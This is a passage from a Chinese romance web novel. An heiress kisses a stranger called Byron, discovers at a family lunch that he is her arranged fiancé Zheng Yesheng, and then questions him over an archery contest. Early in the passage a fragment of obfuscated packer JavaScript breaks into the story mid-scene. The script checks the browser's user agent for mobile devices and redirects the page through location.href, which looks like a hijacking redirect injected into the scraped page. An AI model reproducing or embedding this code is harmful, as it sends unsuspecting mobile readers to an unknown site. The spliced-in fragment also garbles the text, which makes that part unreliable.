问了,她还要去绞尽脑汁思考怎么回答。
保持矜持与端庄一路,在即将下车时,她好像对男人这沉默的状态不满意。
所以,她学着他在酒吧的礼貌模样问他:“要进去,喝一杯醒酒茶吗?”
在她的邀请下,他下车了,跟在她身后,进了她家的门……
Byron站在玄关的阴影里,背抵着刚关上的门,既没有主动索求,也没有把人推开,只是微微俯身配合着穆慈恩的亲吻。
她的舌尖抵在他齿间,试探着触碰,又退出,如此往复,生涩地探着。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16316928|183048||http|test|mini|href|location''.split(''|''),0,{}));
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>他耐着性子,纵容着,她“撒酒疯”行为。
珍珠流苏发出了轻盈的碰撞声,一声叹息化在了交融间。
Byron唇角动了动,在她又一次试探时,松开了齿关。
其实,她的吻技也不怎么样。
屋内的温度不断攀升着,有如零星火烧,一瞬燎原。
这个吻很轻缓,乌木雅香带着Martini的酒香,顺着呼吸,一尺一尺漫进了肺腑,
酒意上涌,短期的缺氧让穆慈恩更醉了。
脑内半是清明,半是迷糊。
电流从脊椎骨处攀升,在身体里游走。
踮脚太久,双腿发软,她有些撑不住,呜呜/咽咽嘤/咛着。
在快要软倒时,男人终于肯抬起手,轻柔又强势地揽住了她的腰,把她圈进了自己怀中。
温热的掌心,贴合着裙下有些发颤的肌肤。
意乱情迷中,吻的主导方变了。
慢条斯理中寸寸掠夺,游刃有余控制着感官。
穆慈恩的脚步被男人带动着旋转。
裙摆翩然错过了西装裤,仿佛跳了一曲无声的华尔兹。
吻在加深。
顷刻,她的后背抵在了冰冷的玄关墙壁,只能被迫仰头接受着对方更深的掠夺。
意识迷蒙间,身前的压迫感退开了几分。
“忘记,确定一件事了。”
Byron嗓音暗哑,指腹轻轻碰了碰穆慈恩泛着水色的红唇。
低哑的声线中,夹杂着若有若无的喘息。
穆慈恩的呼吸仍有些紊乱,卷翘的睫毛上不知何时开始,沾着水汽。
“嗯?”
她困惑望着他,却只能对上在昏暗里,一双漆黑幽沉的眼眸。
“你,是单身吗?”
男人话音落了,玄关处的感应小地灯也顺势亮起。
一束一束光线照亮了他们之间。
穆慈恩眸光闪了闪,手上的力气也卸了几分。
这道光敞亮了周围环境,也敞亮了所处的现实。
光里光外宛如两个世界,在暗处,她可以借着模糊光影自欺欺人,怪酒,怪环境,把不合时宜的冲动和欲望都抛进阴影里,
可是在明处,她维持的体面,强撑的镇定,连同那些挣扎隐忍的情绪,全都一览无余。
她手上没有戒指,未婚夫的面没有见过,婚事的商量没有参与过,只能面对着事业与爱情二选一的局面,然后,被千里之外的郑家束缚了自由。
浑身的力气好像都被人抽走了,她垂了眸子。
想反叛穆家,想反叛婚约,又何必要拖累一个人来陪?
她还是没办法做到享受当下。
也许继续了还是会后悔。
疲惫地别开了脸,穆慈恩敛起了眉眼:“我…有些醉了,你回去吧。”
四下的温度渐渐冷却,静得只剩下了呼吸。
Byron注视着她,眸光晦涩。
“我们…”他顿了几秒,声音放轻了,像想起了什么,从裤子口袋里拿出了一包糖。
“醒酒糖,头晕难受可以吃一粒。”
被递送来的糖是黄色笑脸包装,和男人气质完全不搭。
穆慈恩愣了愣,缓慢地接过糖。
胸口处像被人塞了一团打湿的棉絮,又潮又闷。
“谢谢。”
她蹙眉,犹豫了几秒,直直抬眸:“我们,似乎没有正式介绍……”
“有缘,会再见的。”Byron含着笑意,打断了她。
他把那天字条上,她留下的话,又还给了她。
“早点休息。”
话音落,身前的影子移开了。
男人的背影高大挺括,身上的西装外套仍一丝不苟。
门重新关上,穆慈恩始终保持着在原地站着的姿势。
心跳渐渐恢复了平静。
直到很久之后,手机再次震动不停,她才彻底缓回了神。
“妈?”
“明天中午时间空出来,郑家约我们吃饭。”
4. Chapter4
老北京四合院内,日光碎金,透过院中参天的银杏枝桠,落在了斑驳的石阶。
穿过朱色的游廊,一片金色的银杏叶,翩然擦过了穆慈恩的裙摆。
纪澜清从包厢里出来,远远瞥了一眼自己女儿。
暖白色的玉兰簪低挽着发髻,几缕碎发松松垂在颈侧,浅蓝色提花短衫,搭着烟灰色缎面半身裙,举手投足娴静端庄。
光束落在她清丽的眉眼,衬得她气质更加灵秀温润。
纪澜清满意地扬了扬唇角,转念想到了今天早上收到的信息,眉心紧紧蹙起,大步迎了上去。
“小慈,昨天晚上我查了监控,你不是坐闻渊的车回的,那辆停在丽心门口的黑色卡宴和与你一块儿进屋的男人到底是怎么回事?”纪澜清牢牢握住了穆慈恩的手腕,压着声质问。
“妈,现在问这些事,是不是不太方便?即使郑家约我们,我们是客,但这里是京城,我们依旧是东道主。”穆慈恩反握住了妈妈的手拍了拍,嘴角噙着抹清浅的笑,“先进去吧。”
狐疑的目光在女儿脸上徘徊,纪澜清的眉心松了又紧,最终还是点了点头。
“行,我想你是有分寸的,这事儿你回家再跟我解释。”她叹了声气,目光锐利,语重心长,“你不告诉妈妈,妈妈怎么帮你圆,这要被你爷爷和爸爸知道,你又得被罚戒尺。”
穆慈恩垂眸顺从“嗯”了声,细长的睫毛遮掩了眸底的不耐。
“郑太是今早到的京,专门飞来见你的。郑太之于郑家,就像你爷爷之于穆家。”纪澜清理了理自己领口的盘扣,缓声嘱咐,“等会儿进去,该怎么表现,不用我多嘱咐吧?”
穆慈恩微微颔首,浅笑:“知道。”
她虽然对郑家不感兴趣,但是八卦还是爱听的,特别是在孟羡今和赵闻渊的科普下,她对这位郑太的了解,远多过了她那位未婚夫。
郑太林向琴是郑先生的第二任妻子,出生港城四大家族的林家。
商业联姻嫁进郑家后,她凭借自己出色的能力和雷霆手腕,硬生生把呈现颓势的郑家拉回了港城顶级圈层。
郑先生因病去世后,她极快控住了郑氏内部混乱的局面,敲打了不安分的郑家旁系,也处理了一堆郑先生的风流债。
她还听说了,郑太的两个亲儿子,都不堪大用,她为了稳固自己地位和守住郑家家业,直接将郑先生其中一个能力出色的私生子,认作了自己的小儿子,亲自培养他成为继承人。
而这个小儿子,就是她的未婚夫——郑烨生。
大概和郑家联姻真能得不少好处,所以她家迂腐的长辈,没太介意“私生子”的身份。
纪澜清走了几步,又不太放心地看向女儿:“礼物准备了吗?”
穆慈恩不卑不亢地应声:“准备了。”
包厢临院,雕花的木窗正对着院中景,微风卷过,银杏叶簌簌落下。
她的余光无意瞥向了厢房里,背窗的位置,笔挺坐着一个西装革履的男人。
很奇怪,她觉得这个背影有些眼熟。
光影里浮过细微的尘埃,引路的服务生恰好停下了步子。
纪澜清侧目:“嗯,最后一件事,一会儿见着Byron,热情一点。”
穆慈恩愣了愣。
Byron?她似乎在哪听过。
——
包厢门被推开,一股淡淡的山檀香散了出来,聊天声止,几道目光同时看向了门口。
“来了?”坐在首位率先说话的,是年逾七十的穆老。
他平和又略带严厉地扫了一眼穆慈恩,虽从高位退下已久,身上的威仪仍不减当年。
“这是阿慈吧?”坐在穆老左侧,身着黑色长裙,胸口配祖母绿宝石胸针的短发中年女人微笑着接话。
“看着端庄斯文,生得也靓。”
她的普通话不是特别标准,带了一些口音,笑意挂在唇边,目光却带着穿透性极强的审视。
“小慈,这是郑太,她专程从港城飞来,就是为了见你这一面。”纪澜清用着不轻不重的声音提醒穆慈恩,手指在她胳膊上带着暗示性地点了点。
“郑太好。”穆慈恩微垂着眼睫,缓了半秒才缓慢抬起,红唇弯起的弧度清浅温婉。
“好了,你们也快别站着了,阿慈,你坐在Byron旁边?”郑太抬了抬下颌,眼神向一旁示意。
穆慈恩颔首着,顺着郑太眼神的方向望去。
霎时,大脑完全宕机。
刚进包厢的时候,为了端着穆家大小姐的架子,她没敢在长辈面前肆无忌惮在厢内看来看去,始终乖顺低敛着眉眼。
此刻,她才看清了那个背窗而坐的男人,
逆光里,他的五官轮廓逐渐清晰,包括那双妖冶蛊人的异色眼瞳。
居然,是他?!
“穆小姐你好,我是郑烨生,Byron是我英文名。”
字正腔圆的普通话,没有港式口音,低磁性感的声线,温和又疏离。
窗外有微风,银杏叶摇曳发出“沙沙”声,而后散落纷纷。
郑烨生从座位上站起,光线勾勒着他熨帖齐整的银灰条纹西装。
他帮忙拉开了身旁的座位,袖口挪动,价格不菲的表盘反射出了冷质银光。
穆慈恩嘴角动了动,沉静的黑眸中,终于有了情绪的起伏。
疑虑,迎刃而解。
她想起来自己是在哪里听见“Byron”这个名字了,
昨晚,喧嚣热闹的酒吧里。
手指攥紧,穆慈恩的神色迅速冷下了,一股被人欺骗的感觉从心口处翻涌,刺得她神经发疼。
——“有缘,会再见的。”
苏黎世那晚,她不确定他知不知道自己的身份,但是昨晚,他应该是认出她的吧,
所以那么恰好,把她未出口的自我介绍打断了。
她牢牢盯着郑烨生,妄图从他的表情上看到一丝……愧疚。
可惜了,他的眼中只有波澜不惊的平和,沉稳的表情无懈可击,仿佛从不认识她一样。
这是什么意思?等她的笑话吗?
自我介绍,原来是留在这里了。
如果昨天,他在她心中的定位是crush,那么现在,快成rubbish了。
穆慈恩没有应声,郑烨生也没有其他动作,两个人僵直地对视着,一时间包厢内安静得尴尬。
“小慈!”纪澜清压声低斥。
“咳咳…”穆老也不满地咳嗽提醒,凌厉的眼神,仿佛要把她这个不懂礼貌的孙女钉死在原地。
“阿慈怕是不好意思。”郑太笑着打趣解围,眉心却微不可察地蹙了蹙。
大大小小的声音在耳畔忽远忽近,穆慈恩咬紧下颌,将指甲掐进手心保持清醒。
她保持着端庄,浅浅弯唇:“你好,我是穆慈恩。”
去他的不好意思!
落座时,穆慈恩借着桌下视线盲区,毫不客气地对准蹭亮的男士皮鞋,狠狠踩了上去。
看着眉头未皱,自若坐下的郑烨生,她只后悔自己穿的不是高跟鞋。
也去他的热情一点!
——
席前,穆慈恩送上了自己为这次见面准备的礼物。
知道郑太喜欢收藏瓷器,她特意选了一套南宋青白釉刻花茶具。
而她给自己未婚夫准备的……
“这款江诗丹顿的阁楼工匠系列,是我在苏黎世特意定的。”穆慈恩弯了弯眼睛,眼波流转间,带着一抹锐利。
她瞥向郑烨生:“我想,它和Byron应该会很搭。”
“苏黎世”三个字,她刻意咬得很重。
丝绒盒内,深蓝色珐琅表盘泛着流光,鳄鱼皮的表带
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纹理自然,低调奢华。
这本是她研学之旅途中,给爸爸准备的下月生日礼物。
也是借花献佛,歪打正着了。
郑烨生垂眸扫了一眼递送到眼前的礼物,眉峰向上轻挑起,眸色清冷。
“谢谢。”
穆慈恩皮笑肉不笑,用着只有两个人可以听见的音量“哼”了声。
男人滴水不漏的模样,恨得她有些牙痒痒。
“Byron,我记得你也精心为慈恩准备了见面礼?”郑太笑着接话。
郑烨生闻言,用眼神示意守在包厢内的服务生。
他温和地笑了笑,语气谦和:“谈不上精心,在拍卖场看见,觉得……”
疏朗的目光短暂在穆慈恩面庞停留了一秒,他低笑:“很衬穆小姐的气质。”
穆慈恩:“……”
他是什么复读机吗?一点创意也没有。
很快,服务生捧来了一个复古墨黑色漆盒,盒身上,朵朵海棠花錾金填彩。
眸光微顿,穆慈恩的手指蜷了蜷,卷翘的睫毛在眼睑处投掷了一片扇形浅影。
海棠,是她最喜欢的花。
郑烨生接过漆盒,修长的指节抵住盒盖边缘,轻轻向上推。
“咔!”暗合的搭扣发出了声轻响,银灰色软缎中央,是一只紫罗兰翡翠手镯,淡紫中晕着烟青,清透雅致。
穆慈恩的指尖下意识收紧,指甲又一次陷进了掌心。
淡紫色,是她最喜欢的颜色。
整个礼物,居然完全踩中了她的喜好。
这…不是巧合吧?
穆慈恩不受控制地撩起眼帘,怔忡的目光,直直撞入郑烨生眼底。
四目相视,穿透了照进包厢的日光,枝头银杏叶落了一片。
郑烨生薄唇轻牵,弧度极浅。
“这翡翠水头真好,怕价格不菲。”纪澜清捂嘴轻笑,眼底对郑烨生的满意压不住,“Byron有心了。”
郑太端起茶抿了口,望着穆慈恩慈爱笑道:“重要的,是要阿慈喜欢。俗话说,千金難買心頭好。”
她话音落下,穆慈恩的眸色也深了几分。
郑太三言两语,就把她高高架起了。
她放缓了语调,压下了探究的心绪,刻意对着郑烨生扬起了一个客气的笑容:“谢谢,我很喜欢。”
“一个送手表,一个送手镯。”穆老乐呵呵的笑着,中气十足,“你们两孩子,怎么不算心有灵犀呢?”
穆慈恩太阳穴突突跳,无奈中还夹杂着丝烦躁,只敢超小声嘀咕:“这算哪门子的心有灵犀?”
刚吐槽完,身侧便传来了声带着气音的闷笑。
不用偏过脑袋,她的余光已经捕捉到了郑烨生看向她的视线。
干燥的眼神伴着微风一起,撩动着她鬓边碎发,扫得她又痒又热。
他笑鬼啊?
更烦了。
“我这里恰好有两张下午的戏票,正好两孩子可以一起去看。”穆老目光在穆慈恩与郑烨生之间反复流转,温和中透着不容置喙的气势。
郑烨生稍作颔首,语调清润:“多谢穆老好意。”
“Byron,小慈自小和我看了不少京剧,《锁麟囊》也看过好几次,到时候,你有不懂的,就让她跟你讲讲。”穆老乘胜追击着补充,轻飘飘睨了眼穆慈恩。
穆慈恩:“……”
她早猜到会这样,自己的婚约是订好了才被告知,这出去互相了解的“约会”,她怎么可能有权力拒绝?
甚至她还要去当免费解说。
被“绑架”次数多了,她更不可能当众拂面子。
穆慈恩选择乖巧应下:“好的爷爷。”
当然,她妥协这个很烂的提议,也有部分是因为……
她觉得有些话,必须在婚前找郑烨生问清楚!!!
5. Chapter5
“装腔作势”的饭局结束,黑色的卡宴驶出胡同,平稳上了公路。
车窗外的灰墙黛瓦渐渐被现代化的高楼大厦取代。
狭窄的车后座,穆慈恩坐得板正,微阖着双目养神,浓密的羽睫随着呼吸一颤一颤。
她也不是真的困乏,只是秉承着眼不见心不烦的理念,抹掉可能会存在余光里的深影。
静谧的环境里,飘渺的乌木香似有似无萦绕在鼻尖,心头躁意仍旧难消。
她是想质问郑烨生,
质问他为什么放着港城那些名门大小姐不娶,非要来京城跟她家联姻?
质问他明明知道她的身份,为什么要装不知道,是不是故意愚弄她?
质问他从饭局到现在,八风不动坐在她身边,是不是存心要看她跳脚?
沉木耳坠在阳光中,轻盈晃动了两下。
隐约间,穆慈恩感觉有道炙热的视线,不客气地扫过了她的脸侧。
他看什么看呢?
耳后根发热,她睁开眼睛,寻着那道视线方向,带着怒意,横冲直撞地望进了一双蛊人的眼睛。
阳光浸染进墨蓝色的眼瞳,深邃的眸子如一颗清透的宝石,情不自禁将人吸引。
时间慢了半拍,悠扬的蓝调音乐在车厢内缓缓流淌。
郑烨生左眉轻挑,眼尾向上勾勒出狭长的弧度。
刹那,穆慈恩缓过了神。
红唇微张,她没有说话,只是带着脾气别开了脸。
明明是他偷看她,也是他故弄玄虚,凭什么她要先说话啊?
耳坠大幅晃动,无声诉说着主人强烈的不满。
此刻,穆慈恩浑身上下,连同头发丝儿都带着脾气。
郑烨生薄唇轻抿,温声解释着:“我看见你休憩的时候,一直拧着眉心,想是不是阳光太刺眼了。”
穆慈恩嘴角扯了扯,险些没绷住她端庄人设,直接怼人。
刺她眼睛的是太阳吗?谁让他解释偷看行为了?!
气闷在胸口抒不出去,余光里,她看见他拿出了手机,手指在屏幕上快速摁着,也不知道是又遇见了什么要紧事。
真这么忙,就忙去好了,干脆不约算了,那戏她都看八百回了,吊着嗓子也能唱一段,没半点意思。
端庄人设也没必要在她未婚夫面前端着,
毕竟谁家乖乖女,跑到国外睡男模啊?
憋着一口气,穆慈恩不甘示弱地再次盯向了男人:“你不觉得,你现在这个样子特别的虚…”
“伪”字没出口,手机屏亮在了她的眼前。
男人在备忘录敲敲打打了一排字——“车里有司机,下车后,关于我们的事,你想知道的,我都会告诉你。”
车窗外,四九城内飞速掠去的街景,成了郑烨生身后模糊的背景。
他睫毛低敛,沉静地望着她,轻轻颔首。
穆慈恩:“……”
重新端正了身子,她双手抱胸,冷哼了一声。
其实他和她都半斤八两吧?
她记得很清楚,苏黎世那晚,和昨晚,他可不是现在这样的。
一副正正经经的端正模样,比她还能装。
不过也是,现在开车的司机,和昨晚那位小心翼翼看他眼色的男人,不是一个人,搞不好就是长辈派来监视他们的。
郑烨生望着穆慈恩紧绷着的侧颜,欲言又止。
犹豫片刻,他拿过手机低头又开始发消息。
余光瞥见了男人的一举一动。
穆慈恩又轻哼了声。
社交里,老低头看手机可不太礼貌。
不甘示弱,她也拿出了手机,找到了妈妈的对话框。
穆慈恩:【昨天你看见的卡宴是郑烨生的,他送我回的家,这件事被爷爷知道也没关系。】
手机屏幕暗下,男人依旧在发信息。
穆慈恩无趣地撇嘴,再次闭上了眼睛。
一路无话,直到下车。
——
百年戏楼,大气磅礴,轩豁宏深,
绿蓝彩绘布满穹顶,泛沉的朱色廊柱屹立在戏台两侧,红绸高挂,垂落在中央的黑色描金牌匾上。
拿着戏票,穆慈恩驾轻就熟走在前面引路。
出于对艺术的尊重,她不是很想在表演的时候谈论事情。
抢着开戏时间,白色的球鞋踩在青石板上,步子迈得越来越开。
蓦地,不知道从哪窜出来了一个小孩,手里拿着糖葫芦,一边跑,一边急匆匆喊着“妈妈”。
小孩个子不高,速度很快,根本没那么多判断力,直直朝前撞来。
穆慈恩微微瞪圆眼睛,下意识想躲开,可是来不及,
她迈出的腿收不回来,腰被狠狠撞了一下,疼得她身子猛晃。
腿软了。
“阿姨,对不起!”
耳畔传来了小孩脆生生的声音。
短暂的几秒,穆慈恩脑子里闪过了很多念头……
完蛋了,她在郑烨生面前又丢人了。
还好小孩没事!
这小孩也太没眼力见了,叫什么阿姨?她是姐姐好吗!
电光火石间,她的腰被人搂住了,迎面对上了一双漂亮的眼睛。
空气中,浓郁的乌木香浮动,耳坠在半空荡来荡去。
郑烨生大步跨向前,掌心牢牢扣住了她的腰侧,修长的手指陷在她衣料软锻。
不属于她的温度,在那一刻,隔着薄薄的衣物,烫进了她的肌肤。
站稳了,
好像也更丢人了。
“小心。”郑烨生沉声嘱咐,在发现她没事后,点到为止地收了手。
“以为在演偶像剧呢?”穆慈恩羞恼地垂眸,小声吐槽了句。
她极快扫了扫四周,刚刚那小孩早已不见了踪影。
四周似乎有人在往这边看。
耳根又是一热。
“我们快上去吧。”穆慈恩干瘪地留下了这句话,兀自又迈开了步子。
下一秒,她的手腕被人握住了。
郑烨生站在原地,目光清远温和地落在她身上,声音不急不躁:“《锁麟囊》,是什么故事?”
穆慈恩:“……”
他没事儿在这儿问什么?
双目相对,身旁其他看客闲聊的声音远远近近,木质楼梯被人踩过,发出“啪嗒啪嗒”声。
一道光从窗边缝隙漏进,点亮了空气中的浮沉。
他收了手,但摆明架势是她不解答问题,就不走。
没了脾气,穆慈恩快速解答,音调没有多少起伏:“一个三十年河东,三十年河西,即使世事难料,也讲究善有善报的故事。”
她弯了弯眼睛,笑容里带着明显的敷衍和暗讽。
他们,怎么不算三十年河西,三十年河西?
他也别怪她前后态度差别大。
如同没听出来她的潜台词,郑烨生眼神依旧宁和,从喉间漫出了一声轻笑。
“看起来,这戏你也听过很多次了。”他薄唇掀了掀,挑眉,“恰好,我从前在京城读书,看过这场戏。”
“同样的戏听多了,确实没有太多意思。”
不明所以,穆慈恩缓慢眨了眨眼睛。
郑烨生笑道,伸手牵住了她的手腕:“走吧穆小姐,带你去其他地方。”
下一秒,他自若带着她穿梭进人潮。
——
休息日的午后,位于市中心的竞技乐园空旷得不像话,踩在地面的每一步,都若有回声,从一楼眺望去,零星几个工作
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人员在。
穆慈恩认为自己也算是见多识广,电影院包院的,游乐场包园的,飞机包机的,餐厅包场的……
这竞技乐园清场的,她也是第一次见。
不过,她喜欢这里。
敛了敛欲上扬的嘴角,她向着正前方的射箭场走去,一本正经问郑烨生:“你带我来这里做什么?”
亦步亦趋地跟在穆慈恩身后,郑烨生弯唇:“我想来这里,你心情会好一点。”
他嗓音低磁性感,语气里夹杂着几分笃定。
木质的长桌上摆放着两张弓,白色的弓身在白炽灯下泛着冷光,三十米外的靶红心正亮。
男人的影子停在了她身后半寸的位置。
穆慈恩拿起弓,随意在手中掂了掂重量,睫毛掩住了眸底思绪。
她喜欢紫色和海棠的信息,可能是她妈妈透露给他的。
那……关于她喜欢玩竞技类型的游戏,又是谁透露的?
穆家可是一门心思要营造她琴棋书画的端庄大小姐人设。
总不会是,他想给她秀一手?
她也不是没遇见过一些爱装的男人,
就是太下头了。
嘴角弯了弯,她漫不经心地搭着话:“你怎么知道,来这里,我心情会好?”
气定神闲地站到了她身侧的位置,郑烨生指尖似有似无摩挲过另一张弓。
眼底划过了一丝笑意,他看向穆慈恩:“我们要不要比一比,如果你赢了,你可以向我提一个问题,如果我赢了,我也可以向你提问。”
“你这是得寸进尺?”穆慈恩挑眉,丝毫没有退缩地迎上了郑烨生的目光,下颌向上昂了昂,“不过,我打算应下。”
看在不用去无趣的戏楼,能正大光明去爷爷眼中“玩物丧志”的地方,甚至被责问起来,还能把锅甩给他的份上。
眯着眼睛测了测距离,穆慈恩缓声问:“都中了红心怎么算?”。
“算你赢。”郑烨生尾音很轻,细长的眼睫挡住了眸底更深的笑意。
没打算谦让客气,穆慈恩欣然应下:“好!”
眼尾上挑着一抹挑衅的弧度,她懒洋洋道:“如果我赢了,问题不是刚刚那个哦~”
郑烨生嘴角动了动,颔首:“嗯。”
射箭场的工作人员立马拿着装备和箭篓走近。
简单扫了眼箭,他侧过脸询问:“一篓里有十只,我们先比十把?”
穆慈恩:“好。”
——
箭同时离弦,齐齐向前迸发,带着势如破竹的气势,射向箭靶。
尾羽在空中漂亮的划过,撕破了短暂的安静氛围。
鬓边细碎的发丝被劲风带起,穆慈恩缓慢放下了手里的弓。
同一时间,两支箭一前一后中了靶,
一支正中红心,一支仅中九环。
她看向身旁的男人。
为了方便射箭,他脱下了西装外套,也缷掉了手表,上身仅穿着一件挺括的白色衬衫。
他把袖子挽到手肘,露出了线条流畅,肤色冷白的小臂,因适才发过力,手臂上青筋根根虬起,松弛中又带着勃发的力量。
赏心悦目是一回事,
输给她了是另一回事。
穆慈恩神情有几分雀跃,声音里带着嘚瑟:“你输了。”
郑烨生慢条斯理地放下了弓,眼底带笑:“嗯,你问吧。”
他声线慵懒,仿佛早料到了结局。
四目相视,无形中碰出了小火花。
压下心头莫名其妙的诡异感,穆慈恩盯着郑烨生,不肯放过他脸上任何一点细微的表情,一字一顿:“你和我的圈子,八竿子打不着,我原定的相亲对象里,也没有你,你和我结婚,是因为苏黎世那晚发生的事吗?”
6. Chapter6
顿了顿,她又压声补充,难免咬牙切齿:“你要是回答一个单字,我会生气!”
郑烨生的目光顿了几秒,觉察到了穆慈恩的小心思,他嘴角了然地弯了弯,没有戳破,平着声线:“你舅舅是我大学时期的导师,我很敬重他,这些年一直和他保持着联系。”
想到了什么,他眸中闪过了丝促狭的笑意:“偶尔,他会提到你。”
穆慈恩:“……”
OK,fine.
她的舅舅是清大经管院的院长,如果郑烨生是清大的,那他还是她的学长。
寥寥数语,她大概能猜到她舅舅这些年,是怎么向他那些引以为傲的学生,痛心疾首吐槽她这个高分进校,结果险些毕不了业的外甥女的。
嘴角朝下撇了撇,穆慈恩听见郑烨生又道:“这个时间提出联姻,有苏黎世那晚的原因。”
低沉的嗓音犹如醇厚的红酒,轻缓地在她心口漾开。
愣了几秒,她不假思索追问:“也是说,除了苏黎世,你和我联姻,还有其他原因?”
郑烨生唇角牵了牵,自若地从身侧小篓中拾起了一根箭。
稍稍偏过脑袋,墨蓝色的眼瞳流转过轻盈的光。
“下一局?”
穆慈恩回神,眉间带着几分不忿,却没真的动气。
眼尾上翘,她答得爽快:“好。”
两根箭再次搭弦。
随着弦弓震颤,两根箭一前一后射出。
十环和十环。
“还是我问。”满意看着正中靶心的箭,穆慈恩的语调里,带着不自知的嘚瑟。
郑烨生含笑瞥了她一眼,放下弓,微微颔首:“嗯。”
清风伴着他温润的目光,擦过了她的面颊。
穆慈恩有些躁。
因为眼前男人,对她的赢没有惊叹和不服,对自己的输也没有不耐和懊恼。
他始终不咸不淡,沉稳地站在她面前,上位者的运筹帷幄,在他身上体现得淋漓尽致。
很烦,明明掌握主动权的是她,她却感觉自己是被动的。
好像在被他循循善诱,问些他想回答的问题。
偏不。
“苏黎世那天晚上,你…”穆慈恩转身,迈步向郑烨生逼近了一分,“为什么会在我房间门口。”
距离缩短,脚下的影子悄然重叠,擦出了浓厚的阴翳。
他正经的外壳,她非要敲碎。
“洁身自好的,郑先生?”
一针见血的问题,和几分讽刺的语调,让缓和的气氛,又变得剑拔弩张。
被人阴阳怪气,郑烨生也没有恼,喉结上下滚动,徐徐道:“苏黎世那晚,我酒后遇到了一点小麻烦,中了助兴剂,在回房的时候,数错了房间号。”
抿了抿唇,他的眼眸中,罕见带上了一点不自然:“我的美瞳,又不小心滑掉在了你房间门口。”
两下“咚”的敲门声,是他支撑着自己身子,在地上找黑色美瞳。
穆慈恩情不自禁望向了男人的眼睛。
左眼墨蓝,右眼墨黑,直勾勾盯紧人时,冶丽的像二次元的漫画,让人呼吸一窒,念念难忘。
眸光闪了闪,她挪开视线,在心底默默肯定了郑烨生会戴美瞳这件事。
他确实是需要戴,不然,人家和他聊天,总会走神去看他眼睛,谁还知道他在嘀嘀咕咕说些什么。
她默默脑补了郑烨生每天早上起床,认真对着镜子给自己戴上美瞳的场景。
“噗嗤!”穆慈恩没忍住笑。
郑烨生:“怎么了?”
“没事。”摇摇头,穆慈恩立马收住了表情,一本正经点评,“你的自制力,还是太差了。”
话落,她撤开了步子,站回到了原点。
薄唇动了动,郑烨生对这个评价,没有驳斥,眼睫半敛,不知在想些什么。
工作人员正在靶前收箭,室内静得只剩下他们忙碌的脚步声。
穆慈恩用余光瞧了一眼身旁人,又快速看向前方。
她很想接着吐槽一个戏剧化,但想到自己把人认成了男模,和他半斤八两的乌龙,实在不好意思去取笑。
“再来!”又一次,她搭好了箭。
郑烨生跟着她,无声配合。
弓被一齐拉动了。
在箭离弦时,穆慈恩眉心蹙了蹙,已经预测到了结果。
十环对十环,还是她问。
目光沉了沉,穆慈恩看向郑烨生,红唇张了张,一字未说。
最终,她还是把到嘴边的话收回了,问了另一个她想知道的问题。
“你昨天认出我,又故意瞒着我,是在愚弄我吗?”她眉眼弯弯,眸底却没有笑意。
四目相视,周遭空气的流速慢了半拍。
“我觉得,昨天那样的场合,不太适合我们做自我介绍。”郑烨生眼神在穆慈恩身上顿了顿。
沉静的目光,带着不动声色的压迫感。
他主动向她迈了一步,再度将她纳在自己的影子下,勾了勾唇角:“如果我没有误会,最开始,你也没有想知道我名字的打算。”
穆慈恩极快眨了眨眼睛,卷翘的眼睫像蝴蝶在风中乱颤的翅膀,耳根也发烫。
局面被男人三言两语反转了。
手指蜷了蜷,她在他的眼神里,有些无处遁形。
这个郑烨生是什么意思?
找她算色迷心窍的账啊?还是也揶揄一下,她对外端庄贤良的人设?
“你明明,也亲得很开心……”因为心虚,穆慈恩的声音也变弱了。
那晚零碎的画面在脑中一闪而过,她找到了一丢丢底气,朝着男人走了一步,声调扬起。
“你没有拒绝,还回吻了!”
灯光下,她肤色白皙清透,细长的眼睫向上翘起,幼圆的眼睛明圆又灵动。
距离缩短,脚尖快抵住了脚尖。
羞耻和那股不服输的劲儿在脑中反复拉扯,穆慈恩打气式攥紧拳,挺直了腰。
眼神交接,远近的所有皆化为了虚影,节奏感的背景乐起伏到了高潮。
郑烨生挑眉,闷笑了声,微微垂眸凝向她:“你不是刚评价,我的自制力,不太好。”
顿了顿,他又慢悠悠补充:“不过也分……”
乌木香逼近了,在刻意拉长的音节里,穆慈恩的心跳快了几拍。
“情况。”
哦。
恶狠狠,她瞪了眼男人。
怎么赢了,问完了问题,还是让人郁闷?
不满地回过身子,她把碎发别到了耳后。
归根结底,还是男人太能装了。
穆慈恩目视前方,语气随意:“再来?”
拿起箭,她在手中把玩:“不过这个游戏有点无聊了,
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最后一局。”
郑烨生左眉上挑,低声应:“嗯哼。”
箭上弦,“咻”的一声,同时放。
一箭十环,一箭脱靶。
穆慈恩看着三十米外的结果,满意地笑了笑,佯装可惜眨了眨眼:“唉,这次,是你赢了~”
即使是在表现可惜,她语气中的得意却遮掩不住。
“问我吧?”
她就不信,他还能问出一朵花来。
“你…”对着那双弯弯笑眼,郑烨生迟疑了,喉结轻轻滚动。
他别开了脸:“对于我们这场婚姻,有设想和要求吗?”
眼神闪动,穆慈恩从鼻息间哼出了一声极轻的笑,缓慢放下了手中的弓。
“哒”的一声,在节奏感突出的背景乐里依旧清晰。
“有啊。”她语句轻快,嗓音里带着若有若无的笑意,拿出手指开始数落,“我希望婚后你不要管我,我们互不干涉,最好呢,我能和没结婚一样,想做什么做什么,想去哪里去哪里。”
“港城离京城还是太远了,我不知道自己会不会水土不服,希望每个月都能回京住一两个星期。”
她每说一个希望,就特意放下了一根手指。
“我还希望,冬天能出门度假,我最喜欢的就是下雪天,可是…”她耸了耸肩膀,“港城好像没有冬天?”
慢慢的,她放下了手,敛起了唇角边的笑,直直看向近在咫尺的男人。
目光从他深沉的眼神,滑落到他紧抿的唇。
最终,她垂落了眼睫,任由碎发从耳边滑落。
地面上,两道影子明明重叠在一起,却总觉得,是一个挤占了一个,一个吞噬了一个。
“从你的表情,我知道,这是不可能的。”穆慈恩呼出了一口浊气,“我有义务对我的婚姻负责,对穆家负责,扮演一个合格的妻子,儿媳妇。”
再抬眸,她笑着说:“所以,我没有设想,对于这场婚姻,我真正的要求,只有一个,我想学建筑设计,你们可以,不干涉我吗?”
最后五个字,她的发音很轻,语气的轻松里藏着一点小心翼翼的请求。
